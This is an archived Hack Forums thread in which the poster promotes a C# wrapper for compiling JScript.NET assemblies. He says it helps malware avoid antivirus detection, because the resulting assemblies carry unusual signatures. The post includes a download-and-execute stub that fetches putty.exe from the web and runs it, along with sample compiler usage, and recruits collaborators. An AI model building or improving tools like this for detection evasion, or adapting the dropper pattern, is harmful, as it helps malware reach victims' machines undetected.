Hack Forums
[C#] [WIP] [LOOKING FOR DEVS] JScript.NET COMPILER WRAPPER+++ - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [C#] [WIP] [LOOKING FOR DEVS] JScript.NET COMPILER WRAPPER+++ (/showthread.php?tid=5688213)



[WIP] [LOOKING FOR DEVS] JScript.NET COMPILER WRAPPER+++ - gigajew - Aug 6, 2017

Have you heard about the CodeDOM compiler or the Ethernal Compiler class by Ethernal Five? This is pretty much like that except it allows you to compile the (not so much heard of) JScript.NET to make those kinds of assemblies. The assemblies built with JScript.NET do not share the same type of signatures that C# or VB.NET do, so not a lot of malware will be detected if you use it.

It's a work in progress, and hopefully with some collaboration with some of you, we can create something amazing. You can help by forking the gist and working on it from your end.

Here's an example of a JScript.NET code, it downloads putty.exe and executes it:
Code
import System.Net
import System.Diagnostics

var client:WebClient = new WebClient();
client.DownloadFile("https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe", "putty.exe");

var process:Process = Process.Start("putty.exe");
process.WaitForExit();

client.Dispose();

And here's some example usage of the JSC.NET Compiler
Code
            var compiler = new JScriptCompiler();
            var result = compiler.Compile("test.js", "out.exe");
            
            if (result.Success == true) {
                
                Console.WriteLine("Successfully compiled!");
                
            }else {
                Console.WriteLine("Failed! Errors displayed below");
                
                foreach(var error in result.Errors) {
                    Console.WriteLine(error.Message);
                }
}

And you can get the source code of the compiler, or contribute to it on Github Gist


* - HFDone - Aug 6, 2017

🤣 https://hackforums.net/showthread.php?tid=5505195
you may understand why ... 😏


* - gigajew - Aug 6, 2017

(Aug 6, 2017 05:50 PM)HFDone Wrote:  🤣 https://hackforums.net/showthread.php?tid=5505195
you may understand why ... 😏

What?